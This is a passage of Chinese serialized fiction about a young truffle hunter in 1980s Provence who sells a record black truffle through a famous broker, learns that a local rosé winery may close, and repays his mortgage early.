略伦特笑着说: “但确实是这个道理啊,你难道不需要更多的声望和名气吗?我可以帮助你。” 雅克在某一个摊位前驻足,拿起一颗切开了的松露放到鼻尖闻了一下: “你觉得我的餐厅还缺声望和名气?” 略伦特看了一眼这个高傲的家伙,语气复杂的说: “更多一些不好吗?” 雅克放下松露,拉开了和略伦特的距离,以表达他的态度。 略伦特知道今日的游说额度已经用尽,再说这个家伙可能就要翻脸,于是笑着开启了下一个话题: “这么多好货,今天要买多少?明天我是不是可以去你的餐厅吃铺满松露的牛排和意面了?” 雅克在博尼约的餐厅是普罗旺斯松露品质最好的几家之一,而且非常舍得用料。 住在戈尔德的略伦特经常带着年迈的妻子和家人去那里吃饭。 见略伦特终于不再提那个联盟,雅克的态度也稍微好了一些。 他只是性格高傲且不喜欢略伦特的性格,但并不傻。 略伦特在普罗旺斯和沃克吕兹省美食界的地位超然,面子多少还是要给一些的。 “买不了太多,我的松露合作商每周会给我供应一部分。”雅克语气淡淡的说。 雅克的餐厅只会使用出土三天以内的松露,买太多回去浪费了。 略伦特侧目看向他,有些意外: “你不去集市上自己挑松露了?” 雅克一直有逛集市的习惯,他喜欢自己挑选品质好的新鲜松露,冬季在博尼约附近的几个集市上可以经常看到他的身影。 很久前略伦特就问过雅克,为什么不找个松露供货商,那多省心啊。 雅克说松露不比其他食材,还是自己挑更放心。 现在要求降低了? 雅克推了一下黑框眼镜,不想过多解释: “认识了一个不错的松露猎人朋友。” 略伦特热情的接话: “巧了,我也认识好几个优秀的松露猎人,今天他们都来了,走走走,我带你去他们的摊位看看。” 人脉资源就是这么盘活的。 介绍朋友A和朋友B认识,别管合没合作成,反正他们都会感谢我。 雅克已经不想待在‘聒噪’的论略特身边,他只想安安静静地逛集市: “你不用陪我,我随便转转就行,今天来了那么多厉害的家伙,你去陪他们吧。” 略伦特哈哈大笑着说: “那些人哪有你重要?等你挑好了松露,我再去找他们。” 略伦特的热情换来的只有雅克冰冷的: “可我想自己逛逛。” 略伦特短暂的尴尬了一下,心想这可真是块难啃的硬骨头啊。 恰巧有人过来找他,说集市的一个摊位上出现了棘手的情况。 为了当沃克吕兹省美食界的‘老大’,略伦特什么活动都会参与一下,努力给自己积攒好看和好听的履历。 由他参与的活动上出问题了怎么行? “出了什么情况?”略伦特严肃的问。 那人语速飞快的说: “有一个摊主带来了一颗特级松露,好几个松露经纪人在那里争吵起来了。” 略伦特先是一喜: “又出特级了?拿去市场中心检测过了吗?” 在正规的松露交易市场上,判断松露好坏的因素就不只是大小这一个了。 因为在卡庞特拉的特色松露集市上最不缺的就是大松露。 专业的人会根据外皮、大小重量、香气、质地与成熟度等综合给松露进行评级。 对特级黑松露的标准包括但不限于: 皮鳞片均匀紧密,无裂痕、虫洞,颜色深黑; 圆形或椭圆形为佳,畸形或扁平状降级处理; 气味浓郁多层次,可形容为泥土、榛子、巧克力和湿地苔藓的气息; 刨片后香气可持续释放4–6小时; 切面呈大理石纹,黑白相间; 显微镜下孢子呈深棕色(完全成熟),浅棕色为未熟,黑色为过熟等等。 只有经过专业的检测后才可以给一颗松露定义为特级,与精品、一等和普通级做出区分。 在卡庞特拉集市上,如果出现了特级松露的好苗子,是要送去市场中心被当众检测的。 如果被予以了特级称号,马上就会进行一轮抢夺战,因为此时的卡庞特拉聚集了普罗旺斯几乎全部的松露渠道商和松露经纪人。 这个人用‘特级’松露来进行描述,略伦特第一反应就是已经进过了检测,没想到那工作人员焦急的说: “就是送去检测的路上被人拦下才出了乱子,那个摊主是个新人,不知道这种有可能会成为特级的松露要送去市场中心检测,直接摆了出来,现在想走也来不及了,周围全都是人。” 略伦特皱着眉头说: “那些松露经纪人也是新人吗?还没鉴定着急什么?你再找个人去找阿方斯,让他去维持一下秩序.这个普罗旺斯最资深松露经纪人的面子那些人还是要给的,别扰乱了市场秩序。” 那名工作人员着急的拍了一下手: “阿方斯先生是现场叫的最大声的那个!就是他拦着那个摊主不让他走的,我们根本拿他没有办法,实在没有办法了才来找您。” “阿方斯他——”略伦特表情一怔,随即也认真了起来,“带我去看看,到底是什么松露,能让阿方斯也不淡定了?” “不知道,我都没挤进去。”那人给略伦特带路,“不过那个摊主您应该认识,是您安排进来的。” 略伦特心中再次一喜。 这次他主动邀请了许多普罗旺斯的优秀松露猎人来,虽然他们自己也能来.但他一介入,无形中又刷了一波好感度啊。 你看,我心里有你吧? “杰拉尔德、费尔南还是卢锡安?”略伦特说道一半突然停了下来。 不对不对,是新人。 不会是那个他顺手安排进来的—— “罗南?”略伦特吃惊不已的问。 他的主业到底是开餐厅还是松露猎人啊? “对对对,就是他!”工作人员加快了脚步。 雅克突然跟上他们,与略伦特并肩而行。 略伦特问他: “你不是要自己逛逛吗?” 雅克的脸上居然出现了‘生气’的表情: “罗南就是我的松露供应商,我要去问问他,挖到好的为什么不直接送到我那里去。” 举办集市的蒂德·白里安广场是卡庞特拉中心一片很开阔的区域,不像其他村落的集市举办在狭窄的小巷子里。 但此时集市的某一段路完全堵住了,至少六七米宽的道路上全部是想要挤入某个摊位去看一看的人。 略伦特在普罗旺斯也算是有头有脸的人物。 围在这个摊位附近的有不少是专业的松露经纪人,他们多少都和略伦特有些交情或者有意攀附。 虽然大家也很想挤进去,但还是礼貌的给略伦特和雅克让开了一条道路。 “请让一让,请让一让!”略伦特艰难的前行,距离摊位两三米时,他大概看清了一部位摊位上的情形。 桌子上摆了几个像是用藤蔓编织的篮子,里面摆满了清理干净的新鲜松露。 松露的数量在集市上不算多的,看着品质不错,但并没有什么奇特的啊。 恰好这个时候他看到一个带着贝雷帽的熟悉背影,赶紧拍了两下: “阿方斯,快让这些人离开这里!” 阿方斯头都没回的说: “别打扰我,等我把它交易下来再说。” 略伦特头疼的说: “先送去市场鉴定啊,哪有先交易后鉴定的?” 特级松露的价格和精品松露是完全不同的,你愿意当冤大头? 他面前的阿方斯突然扭过头来,疯狂的说: “那颗松露一定是特级的,我的眼睛就是检测器,你快离开这里吧略伦特,别耽误我谈生意!” 阿方斯这一回头,人群终于出现了一个缺口,可以让略伦特看清摊位上的全部东西了。 原来在那些普通篮子的一侧,还有两个篮子,里面铺着红白相间的桌布,松露直径全部超过了6厘米。 而其中一个篮子里,有一个比正常松露大近十倍的超级大松露,它自己几乎占据了半个篮子。 略伦特一把将阿方斯的贝雷帽抓掉,把头探过去想要瞧一个仔细: “我的上帝,我从来没见过那么大的黑松露!” 第262章 我就是权威 罗南非常喜欢松露的气味,后来当了松露猎人后更喜欢了。 因为这个气味开始和他口袋里的钱挂钩。 不知道从什么时候起,罗南只要一闻到松露的气味就会控制不住的开心起来,挡都挡不住的那种。 卡庞特拉特色松露集市是罗南闻过松露味道最浓郁的地方,没有之一。 强烈而持久的松露味道弥漫在空气中,按理说应该给他带来不错的好心情才对,尤其市场里的人给他的超大松露开出的全部是4、5万法郎的美丽价格。 这一枚松露比罗南年初挖到的那一颗还要大,重量差一点点就要到达1.2公斤。 已经有不下五个人对罗南放下了狠话: 不管别人开价多少,我都比他多1000法郎、2000法郎它必须是我的! 现在面前的这些人可谓是任罗南挑选,无论选了谁罗南都不会亏的。 但来到卡庞特拉集市后,他时刻处于紧张的状态中,一点喜悦的心情都感受不到了。 倒不是担心会有‘松露大盗’抢了他的宝贝,因为他在集市入口看到了穿着警服的人,松露在当地的地位不比奢侈品差,集市产生的交易额是巨大的,主办方早就为安全做好了准备。 而且摊位周围人又这么多,这颗松露现在可能比罗南的脑袋还安全。 之所以紧张,是因为这里的买家全都‘奇奇怪怪’的,他们必须凑到耳边才能说话,似乎被第三个听到交谈内容会触犯法律一样。 罗南的情绪也被这种奇怪的交谈方式所影响,每次对方捂住嘴、背过身、小心翼翼在他耳边窃窃私语的样子,都会让他感觉自己卖的不是松露而是说出去会掉脑袋的危险东西。 不是这个集市的风气为什么是这样的啊? 后来这颗大松露吸引来的人越来越多,终于出现了一个戴贝雷帽的家伙。 他的风格和其他买家不一样,说什么都用极大的嗓门,还喜欢喋喋不休。 有了他的存在,罗南才能心安一点。 你看,我卖的是可以摆到台面上的东西! 又过了一会,围在他摊位前的大嗓门又多了一个,不,是两个。 “我的上帝,罗南你是才哪里挖来的这个东西?”略伦特扒在阿方斯的脑袋上问。 雅克的嗓音居然比略伦特还大: “罗南,你为什么不把它带到我那里?你知道的,不管多少钱我都会把它买下来。” 通过这两个‘大嗓门’,围在周围等待和罗南‘秘密交易’的人才知道,原来这个年轻的小伙子叫罗南,而且看起来他还和略伦特、雅克是老相识。 “普罗旺斯又多了一个叫罗南的的厉害松露猎人啊.”这是大家心里同时涌出的想法。 终于见到熟人,而且其中还有活动的参与者略伦特先生,罗南马上向他们求助: “我该怎么办?” 刚刚已经有人纠正过他的错误。 罗南现在知道,这颗松露本不该出现在这里。 但下一步怎么办呢? 本以为抓住了救星,以略伦特的地位可以把他解救出去。 怎料略伦特也凑到了罗南的耳边,窃窃私语道: “我劝你快点选择一个经纪人合作吧。” 之后他言简意赅的给罗南介绍了这个在松露产业链中至关重要的角色。 松露经纪人连接着松露猎人、经销商和终端买家,以确保松露交易的效率与公平性。 每年普罗旺斯的松露市场定价,都是通过由法国农业部下属的松露行业协会中,持有职业执照的专业松露经纪人一同敲定的。 想要考到这个执照,必须拥有5年以上松露贸易经验,并熟悉产区生态特性。 在普罗旺斯,这一职业被视作‘松露生态系统的守门人’,维系着从土壤到餐桌的信任链条。 而现在围在罗南周围的全部是专业松露经纪人。 他们的标志性‘动作’就是像卖违禁品一样偷偷摸摸的和客户交谈。 美其名曰职业手册里有一条规定——要保护买卖双方的隐私,不只是身份,还有价格。 这些松露经纪人会帮罗南给这颗松露找到一个不错的下家,但会抽取3%的佣金。 罗南捂着嘴问论略特: “我必须和他们合作吗?” 在我们那种小地方,哪有这种职业的人存在啊? 不都是想卖谁卖谁? 而且还要抽佣金?? 略伦特压低声音说: “在卡庞特拉的集市上,松露经纪人拥有仲裁权,即使你送到市场中心,也是他们给你鉴定,你确定要卖给个人卖家?而且相信我,这些人的嘴比律师还要厉害他们可以帮助你卖出不一样的价格。” 罗南恍然大悟的点了一下头。 年初卢卡斯说马赛和尼斯的高档餐厅会用高于市场价的价格收购松露,大概率中间就是有松露经纪人参与的缘故。 这些人居然有本事影响定价? 松露生意里果然处处充斥着陷阱 如果罗南把这颗松露卖给个人卖家,把经纪人得罪了.说不定在鉴定的时候会因为各种‘原因’被降级。 这个时候,大嗓门的阿方斯不满的抱怨: “略伦特,这里有你什么事啊,你能不能不要浪费时间了?” 略伦特笑着摆手: “别着急阿方斯,我这个‘小朋友’第一次来卡庞特拉,我给他推荐几个不错的餐厅,马上把他还给你们。” 罗南最后问了一个问题: “这人也是松露经纪人?” 罗南指的是阿方斯。 他也在和罗南聊生意,但并没有压低过声音,生怕别人听不到似的。 略伦特点头,谨慎的说: “是,而且是非常非常有名的松露经纪人,但他的脾气有点古怪,我劝你——” 罗南看向阿方斯: “这位先生,我们聊聊?” 罗南对那种偷偷摸摸的交易方式表示尊重,但他不习惯。 他更喜欢和坦坦荡荡的人合作,这个戴贝雷帽的家伙最对罗南的脾气。 阿方斯以胜利者的姿态对四周的几个同行说: “看来这位朋友已经做出决定了啊。” 其他经纪人见就要错失特级松露,顾不上什么保密了,公然争取道: “你这颗松露至少有1公斤,能马上交易的客户不多,但我可以在1个小时内帮你促成合作。” 阿方斯拿下贝雷帽给自己扇风: “我寻思快速促成合作,不应该是我们松露经纪人必须具备的条件吗?这也能说出来当优势了?太好笑了吧伙计。” 他看着罗南的那颗松露说: “直径至少有12.5厘米,重量应该在1.15-1.2公斤之间,形状完好,表面无裂纹,普罗旺斯上一次出这么好的黑松露还是2年前。” 之后他抬头,用再平常不过的语气对罗南说: “我能把这颗松露送去巴黎,你应该知道这代表什么。” 普罗旺斯是松露的原产地,这里卖1500法郎每公斤的普通松露送去巴黎可能就变成4500法郎每公斤了。 优秀松露经纪人应该具备的是把松露卖出溢价的能力。 罗南不顾周围人的阻拦和挽留,主动向阿方斯伸出手: “先生,我已经迫不及待让它出现在巴黎了。” 阿方斯哈哈大笑着握住罗南的手: “今天晚上,它就会出现在巴黎最高档的餐厅。” 最优秀的松露猎人就该合作最优秀的松露经纪人! 罗南还有其他松露要卖,暂时不能离开这个摊位去市场评级,不过阿方斯也没提去检测的事,在确认罗南一定会和他合作后,离开这里去联系买家了。 走之前他告诉罗南,乖乖等他的好消息。 见罗南和阿方斯达成了合作,围观的人一下子的就散去了大半,似乎再多看一眼那颗特级松露就要被气死。 见周围人少了,略伦特压低声音对罗南说: “你应该听我把话讲完” 略伦特是一个很圆滑的人,能说出这句话,代表他认为罗南做了一个很糟糕的决定。 雅克的心情非常糟糕,阿方斯拒绝和他谈合作,他彻底退出了这颗松露的争夺战。 此时他更看不惯略伦特说话说一半的性格,直接了当的对罗南说: “阿方斯促成过许多笔特级松露的交易,和佩里戈尔的皮埃尔·让德雷并称为法国的两大传奇松露经纪人,但他只做高端市场,其实你应该找一个领域宽泛的经纪人合作。” 罗南一年能挖到几颗特级松露? 大部分还是普通品质的。 借着这颗特级松露,和一个同样做普通松露生意的经纪人搞好关系可能更明智一些。 罗南不以为然的说: “没有特级松露,其他经纪人就不跟我合作了?” 雅克和略伦特不说话了。 罗南这次挖的不是一般的松露,是被传奇松露经纪人阿方斯定义为近2年内最好的一颗。 他的名字从今天开始就会从卡庞特拉特色松露集市传向普罗旺斯全境。 这么优秀的松露猎人能缺松露经纪人吗? 刚刚离开没10分钟的阿方斯拿着一个洋葱面包慢悠悠的返回。 雅克和略伦特马上收了声。 罗南问阿方斯: “有什么问题吗?” 怎么这么快就回来了? 阿方斯咬了一口洋葱面包,用讨论这个面包好不好吃似的轻松语气说: “65000法郎,但我要5%的佣金。” “6万5?”罗南瞪大眼睛。 刚刚那些人经纪人最高的也就估价5万左右。 居然高出来这么多? 雅克的心彻底死了,他摇了摇头,附在罗南耳边提醒: “这绝对是‘巴黎价格’,即使多给2%的佣金你也赚了,快卖了吧。” 罗南了解雅克先生的秉性,他是个正直的人。 阿方斯绝对给这颗松露找了一个很棒的下家。 罗南继续问阿方斯: “我现在要做什么?拿着这颗松露去跟你做检测吗?” 阿方斯把洋葱面包全部塞到嘴里,像是一个邋遢老头似的,在身上胡乱抹了两下: “检测?我阿方斯的名字就是权威。” 他来的快去的也快,见罗南同意了,掉头就走: “我去取现金,这颗松露要坐中午12点50的飞机去巴黎。” 第263章 意外的消息 在普罗旺斯,交易松露必须要用现金。 这跟税绝对没有什么关系。 阿方斯说了,纸币上混合着松露的味道花起来才对味。 这位非常有个性的松露经纪人给罗南留下一大摞500面额的法郎后匆匆离开,连再见都没说一句。 罗南猜应该是赶时间送松露去坐飞机。 如果在梅纳村,罗南怀揣着6万多法郎心里肯定会犯嘀咕,生怕有人惦记上这些钱。 但在卡庞特拉特色松露集市他这几万法郎真的太不算什么了。 普罗旺斯的厉害松露猎人实在是太多太多。 罗南身边的每一个摊位随时都在进行着几万几万的大规模松露交易。 除了那一颗特级松露外,罗南这一上午可以用‘平平无奇’来形容,没有其他出彩的东西,松露数量也不够多。 这次来卡庞特拉特色松露集市着实让罗南的眼界打开了。 他了解到了松露经纪人这个重要的职业,对普罗旺斯松露市场的规模有了具象的认知,同时更加坚定了要做松露生意的决心。 还是那句话——在普罗旺斯松露是最赚钱的生意,没有之一。 这必将会是罗南未来持续深耕的方向。 见识到这些优秀松露猎人带来的‘松露山’,罗南想要养一只松露猎犬的渴望也更加迫切。 他现在充当的就是‘松露犬’的角色,如果再多一只真正的松露犬.摊位上的松露可能会多一倍。 那个时候,他才真的有资格进入优秀松露猎人的行列。 现在的他的确有了一些小小的名气,集市上不少人见到他都会点头示意,但那都是虚的,运气好罢了,绝不能因此沾沾自喜。 “继续努力,越努力越幸运。”罗南一边收拾摊位,一边在心里鼓励自己。 卡庞特拉特色松露集市要进行一天,但过了中午罗南就没有什么东西可卖了。 雅克也逛的差不多,两个人结伴一起离开蒂德·白里安广场。 “在这附近找个地方吃饭?”雅克主动向罗南发出了邀请。 从卡庞特拉回卢尔马兰要开2个多小时车,而且罗南的肚子早就饿了,于是痛快答应了下来。 雅克带罗南来到一家他吃过几次的餐厅,点了几道和松露有关的菜,黑松露薯条、黑松露意面和黑松露披萨等。 罗南以为雅克会在餐桌上和他大聊松露,毕竟今天一整天他们都在围着松露打转,连吃午饭都没有逃开‘黑黄金’,没想到雅克说起了一个让罗南意想不到的话题: “杰罗姆打算把酒庄关了。” 罗南剧烈的咳嗽起来,粉红色的液体顺着指缝滴下: “为什么?” 罗南餐厅里卖的粉红酒全部是斯特斯加酒庄生产的,他平时喝的也是这个牌子。 11月底他给杰罗姆打电话订货的时候,还问过他最近怎么样。 杰罗姆说他12月底要去马德里过圣诞节,那个时候听起来没有任何问题啊。 雅克长叹了一口气: “杰罗姆的酒庄一直经营的不太好,很久前就想过要关了,其实不只是他,普罗旺斯的粉红酒庄过的都很差,伊内斯一直在鼓励他,协会里的人也尽可能的在帮助他,包括你和我但还是很艰难。” 雅克先生的餐厅和罗南的餐厅是杰罗姆酒庄在本地的两个重要客户。 他们一个把粉红酒强制安排成餐前酒,一个有一堆喝粉红酒的艺术家,一周可以消耗掉其他餐厅一个多月的粉红酒量。 “确定要关了?”罗南皱着眉毛问。 雅克抿了一下嘴,似乎遇到了很纠结的问题。 过了好几秒,他才开口对罗南说: “应该是下定决心了,但不是马上关闭,会等几个月,把手里的订单做完,但他和伊内斯打过招呼了,你知道的,协会其实是他发起的,所以杰罗姆觉得有必要让伊内斯第一时间知道这件事。” 罗南点头表示理解。 沃克吕兹省粉红酒爱好者协会,是杰罗姆想要拓展客户组织起来的一群上流人士,后来慢慢发展成官方组织。 雅克继续说道: “斯特斯加酒庄是沃克吕兹省最大的粉红酒庄,伊内斯觉得它的关闭对协会、对沃克吕兹省粉红酒生态会是一个非常大的打击,所以一直鼓励他坚持,不过这一次杰罗姆下定了决心,伊内斯也表示尊重和祝福,但同时又想要把酒庄保留下来,所以——” 雅克的语气再次纠结起来,他用拳头轻轻敲了一下桌子,逼迫自己‘勇敢’起来: “伊内斯想试着让阿斯特丽德把斯特斯加酒庄接手下来,协会里她最合适,也只有她有这个本事.你能不能帮忙探一探阿斯特丽德的态度?只需要拿到一点有用的信息就可以,如果阿斯特丽德不排斥,伊内斯会推进这件事落地。” 说完,雅克长舒一口大气。 如果不是在卡庞特拉遇到罗南,他也会在近期找个机会去卢尔马兰,因为这是伊内斯给他安排下来的任务。 协会里当官的当官、开餐厅的开餐厅、做主编的做主编,能接手斯特斯加酒庄的只有阿斯特丽德这个隐藏大佬。 伊内斯当然希望能促成这件事,但由她和阿斯特丽德说太过正式了一些,尤其阿斯特丽德的脾气那么古怪.太难拿捏那个度了。 所以他安排和罗南较为熟悉的雅克,帮忙让罗南去探一探口风。 阿斯特丽德曾经主动帮忙宣传过罗南的餐厅,她对罗南的态度和对其他协会成员不一样.也许罗南更容易拿到有用的信息。 雅克觉得这件事有些离谱、也很难以启齿,但又只能硬着头皮认领下来。 但他已经想好了,如果罗南拒绝,他会和伊内斯好好解释。 这件事明明和罗南没有什么关系啊。 怎料罗南连想都没想,直接回复: “不用问阿斯特丽德我就可以告诉你几乎没有可能。” 这次轮到雅克喷粉红酒了.他用陌生的眼神看罗南。 你不是说你和阿斯特丽德不熟吗? 不用问就知道她的答案了?? 类似的问题罗南问过阿斯特丽德。 阿斯特丽德的回答是,让他去了解一下普罗旺斯的农业和工商业发展史。 其实罗南不用去了解那些繁复的历史,也能猜出个七七八八。 葡萄酒和香水同属于普罗旺斯的支柱产业,而且全部要依赖作物的种植,肯定在百年历史中出现过类似土地、资源和劳动力抢夺等摩擦。 阿斯特丽德背后那个延续了几百年的家族不想触碰葡萄酒的任何东西,说不定背地里还盼着这个行业能衰落下去呢。 但这个理由罗南没办法和雅克直接说明。 他怕说出来,雅克和伊内斯就猜出阿斯特丽德是做什么生意的了. 从目前掌握到的情况来看,协会里似乎没人知道这个消息,所以由罗南透露出去并不合适。 罗南只能用尽量模糊的理由解释原因: “实不相瞒,类似的问题我问过阿斯特丽德,她不想做粉红酒生意。” 你们在私下果然有联系啊.雅克不记得他们在聚会上聊过类似的问题。 不过别管过程是如何,雅克终于完成了任务,可以去伊内斯那里交差了。 吃过午饭,雅克和罗南在卡庞特拉分别。 临走前,雅克邀请罗南最近去一次他的餐厅,尝尝他那里特色的国王饼。 这已经是雅克第二次向罗南提起他那里的特色国王饼了,于是罗南欣然接受下来,说在1月前一定会抽个时间去吃一次。 雅克从卡庞特拉回到博尼约,第一时间给伊内斯回复了消息。 “罗南说阿斯特丽德不会接手斯特斯加酒庄酒庄。” 雅克打的是伊内斯办公室的电话,这位时尚界的‘女魔头’把视线从最新一期的杂志上移开,皱着眉头问: “罗南有描述阿斯特丽德拒绝时的语气和神态吗?” 女人最了解女人,也许罗南并没有完全解读出阿斯特丽德的意思。 雅克叹气: “事实上罗南并没有去问阿斯特丽德,他说他问过类似的问题,阿斯特丽德拒绝了。” “他们在私下聊过?”伊内斯非常意外。 一是意外罗南和阿斯特丽德聊过这么重要的问题。 二是意外阿斯特丽德居然给了如此明确的回复。 她只是想让罗南去试探一下态度,没想到直接得到答案了。 要知道协会里的其他成员想从这位只知道喝酒的女士嘴里听到一句明确的回复太难太难了,敷衍还算是好的,无视的情况也不是没发生过。 这两个人的关系果然不简单啊。 雅克肯定道: “是的,他们私下聊过,我虽然不知道阿斯特丽德当时的表情,但罗南回答的时候表情挺严肃,看起来希望真的不大。” 伊内斯旋转了一下椅子: “好的,我知道了,谢谢你雅克。” 挂了电话,伊内斯站到落地窗前思绪万千。 一旦斯特斯加酒庄关闭,沃克吕兹省的粉红酒业态将更加艰难,他们甚至找不到能做替代品的好喝粉红酒了。 那这个爱好者协会存在的意义会是多么的滑稽和可笑啊。 他们要喝着不顺口的粉红酒表现出热爱的样子? 但沃克吕兹省能把斯特斯加酒庄继续开下去的人只可能是协会里的这几个.外面那些人根本不可能接手这个生意。 杰罗姆卖完今年收上来的这批葡萄制成的粉红酒后就要关闭酒庄去马德里养老。 那之后要怎么办呢? 第264章 你可真能憋啊我的朋友! 雅克和罗南分别后直接回了博尼约。 但罗南回卢尔马兰前还去了一个地方——阿维尼翁。 今天在卡庞特拉特色松露集市上一共卖出去8万多法郎的松露,终于可以去把压了整整一年的房贷还清了。 在1986年的法国,国有银行和合作制机构都可以给居民提供住房贷款,但政策略有不同。 国有银行包括巴黎国民银行和法国兴业银行等全国性大银行,也有面向农村客户的法国农业信贷银行和里昂信贷银行等地方性质银行。 除此之外,专业房贷机构也是许多买房者的选择。 罗南当时选择的正是这一类房贷机构——法国土地信贷银行。 选择原因除了这里的利率低于市场1%外,还有一点,那就是提前还款没有违约金,而且办理实效快。 巴黎国民银行规定的违约金为贷款余额的 1-3%;地方性银行也有‘利息补偿’政策,会按剩余期限利息的6个月至1年计算。 罗南猜到自己一定会有提前还款的情况,所以特意把这一项考虑进去。 不过坏处也有,那便是这类房贷机构在普罗旺斯并不常见,沃克吕兹省只有阿维尼翁有分行。 不过这几十法郎的油钱罗南愿意花。 提前还款需要提交纸质申请,罗南这次来阿维尼翁就是来写申请的。 1-2周内,银行会给罗南打电话通知来还款的具体日子,带着贷款合同副本、身份证明和还款资金证明来办理就可以了。 给罗南办理业务的是一个年轻的女柜员。 见罗南写的还款金额是‘剩余全部’后意外的看了他好几眼。 “一年就还清房贷,很厉害啊。” 罗南耸肩,笑着说: “其实半年前我就该来办理的。” 只怪他花钱太大手大脚了。 装修不停,爱折腾,中间还开了个餐厅要不然不会多交那么多月的利息。 女柜员捂嘴小声笑了两声。 真是个具有幽默感的人啊。 虽然法国土地信贷银行不收违约金,但他们其他‘小手段’还挺多的。 罗南的申请证明前脚交上去,后脚那个女柜员就开始推销产品了。 “有兴趣了解一下马赛的公寓房吗?夏季带着家人去度假的好去处,首付30万就可以拿下。” “或者看看教皇新堡的小庄园,只需要120万法郎。” 罗南感激的与她挥手告别: “不了谢谢,我再也不想欠银行钱了。” 走出银行,罗南觉得天都蓝了几分。 从今天开始,赚的每一份钱都是属于他自己的,真正的‘积累’阶段开始了! 罗南就是闲不下的性格。 餐厅12月的经营情况非常不错,本地村民、外村人和艺术家全线开花,赶不上10月份的营业额,超11月很多是板上钉钉的事情。 升级【采集】后,每天进山的收获翻了近一倍,连着好几天带回来6公斤的松露,即使市价又降了一点,一个月赚小二十万法郎轻轻松松。 而且还完房贷,罗南手里还有2万多法郎的‘零用钱’,他又开始惦记起那个专业的木工房了。 连着给卡福打了三次电话,终于把人约来。 “你最近在忙什么,你妻子说她睡觉了你还没回来。”罗南一见卡福就开始抱怨。 以前卡福的妻子是接线员,现在成了‘留言机’。 连枕边人都见不到卡福这个大忙人,罗南一连留言了三次才终于把人喊来。 卡福把红酒当啤酒喝了,咕咚咕咚喝完一整杯,一杯不够又倒了一杯,又喝了一大口才缓过来: “渴死我了,每天嗓子都快冒烟了。” 罗南好笑的问: “遇到一个爱说话的客户?” 圣诞节前的这一段时间是普罗旺斯的装修高峰期,罗南猜卡福一定是被某个大老板缠住了。 他听卡福的那些伙计说过,他们经常遇到每天能问出一百多个问题的客户。 卡福擦了一下嘴: “装修的客户好应付,难得是卖东西啊。” 他敲着桌子对罗南郑重的说: “我给你的那些藤编灯和饰品找到卖家了。” “才找到吗.”罗南难掩失望的问,“是很难卖吗?那些样品我给你很久了。” 卡福曾让罗南给他做过一批编织灯和饰物的样品,但那是很久以前的事情了。 这么久才卖出去.说明市场对这种工艺的接受度有限啊。 “不不不,不是的,你听我说。”卡福赶紧解释道,“卖圣诞花环占用了我很大一部分精力,你知道的,我还要装修房子,最近才开始推销你的其他样品,反馈非常之好!” 罗南的脸色立即由阴转晴: “有多好?” 卡福的情绪突然高昂起来: “我现在同时在做两个度假别墅的翻新,这两个客户都同意把房屋里的一个区域或者角落装饰成和你餐厅类似的风格,他们也都看上了你的灯和饰品,罗南,我这几天早出晚归就是去联系之前合作过的客户给他们推销样品你猜怎么着?” “怎么着?”罗南不禁压低声音,全部注意力聚焦到卡福的嘴上。 卡福突然拍了一下桌子,吓了罗南一大跳: “我问了10个客户,6个客户都表示感兴趣,上帝,这个反馈太好了,有钱人就喜欢这种既新鲜又贵的东西,我本想多问几个客户之后再让你做,但既然今天来了,你就赶紧安排人开始做起来吧。” “一共要多少?”罗南问。 卡福给罗南报出了7盏不同风格的灯和十几个饰品的清单。 罗南点头: “好做,一周就能做好。” 罗南就是没时间,就这么几个,他自己一个人一周就能做完了。 卡福又喝了一口酒: “你是不是还没教太多人做灯?我劝你赶紧培训起来吧。” 罗南也喝了一口酒: “在慢慢教了,不过现在的量还没跑起来,时间来的及。” 做完圣诞花环订单后,巴蒂已经开始教妇女们做灯等困难的饰品,就是规模还不太大。 但应付这些订单足够了。 卡福斟酌了一下,说出了一个让罗南倍感意外的消息: “我打算做完手里的这几个项目就专心卖编织饰品,带着我的那些兄弟们一起,今天是十几个,说不定下次再找你就是几百个” 罗南嘴巴逐渐张大: “你想好没有?工匠做的那么好要转行?” 卡福坚定无比的点头: “来普罗旺斯买房子的人越来越多,新建的酒店、餐厅和度假村也越来越多,我们就算是累死,每年也只能装修那么几个房子,赚的全是辛苦钱,大家还总是受伤我和兄弟们聊过了,大家对普罗旺斯的装饰市场有足够的信心,我们都觉得转换思路会使未来更有希望。” 罗南斟酌了几秒,提出一个严峻的问题: “我尊重你们的选择,但一下子全部去卖编织物,万一卖的不好怎么办?兄弟们吃什么喝什么?” 卡福是一个很讲义气的人。 他的那些伙计们很多从十几岁就跟着他出来闯荡。 万一这次转行失败,罗南相信卡福能做出卖房子给兄弟发钱的事。 我的朋友,你要冷静啊! 卡福嘿嘿笑了两声,之后四处张望起来: “怎么会饿死呢,你对自己太没信心了吧我的伙计?你知道阿普特市场里你设计的花环卖的有多好吗?过了圣诞节顾客和渠道商还在订呢!这次来还有一件事要告诉你,花环以后我会常年售卖,做够500个给我送一次,咱们把样式定一下吧,对了,你这里还有葡萄藤吗?今天把样品做出来,我下午就能开始卖了。” 罗南:“.” 你真会大喘气啊,我的朋友! 害我白替你担忧了一场。 这么重要的消息,你怎么能憋到现在才说? 餐厅二楼有大量处理好的藤蔓,但没有装饰物。 罗南说他做好样品马上让人送去阿普特给卡福,之后电话联系看要哪个样式。 送卡福离开的时候,罗南既遗憾又感慨万千的说: “你不当工匠,我可怎么办啊?在普罗旺斯想找第二个你这样效率高的施工团队太难了,那些富商老板们不得伤心死?” 卡福搂住罗南的肩膀,用力拍了两下,语气里充满感激: “富商大老板拿着法郎求我,我可能不会心动,但只要你一句话不管是修水管还是建别墅,我和我的兄弟随叫随到,这是我卡福给你的保证。” 卡福和兄弟们不止对普罗旺斯的装饰市场有信心,还对罗南有信心。 你见过一年内连续装修四五次的人吗? 反正卡福他们没见过.也没听别人提起过。 他们相信,和这个脚踏实地把日子过的一天比一天好的幸运小伙子合作,一定可以在普罗旺斯闯出一番新名堂,远高于工匠的高度! 第265章 伟大无须多言 卡福说,他的伙计们可以随时过来给罗南建木工房。 100平米砖石或木材搭建的房屋工期是4-6周。 但他提醒罗南动工之前需要申请‘建筑许可证’,并且大于20平米的新建或扩建房要缴纳‘开发税’。 开发税的金额是建筑工程总成本的1%-3%,由市镇政府根据申报的建筑预算或评估价值为基数计算。 这个税费每个地方的实行政策都不一样,有些地方会根据具体用途给予一定的豁免面积。 但罗南家的情况有些特殊。 他的房子和葡萄园相连,很难界定后院是否为‘农用用途’,如果是的话那会非常麻烦,要申请更多的手续和批文。 具体情况只能咨询所在地市镇的规定后才能了解。 卡福让罗南把手续和税费办完后随时给他打电话,他那边时刻待命。 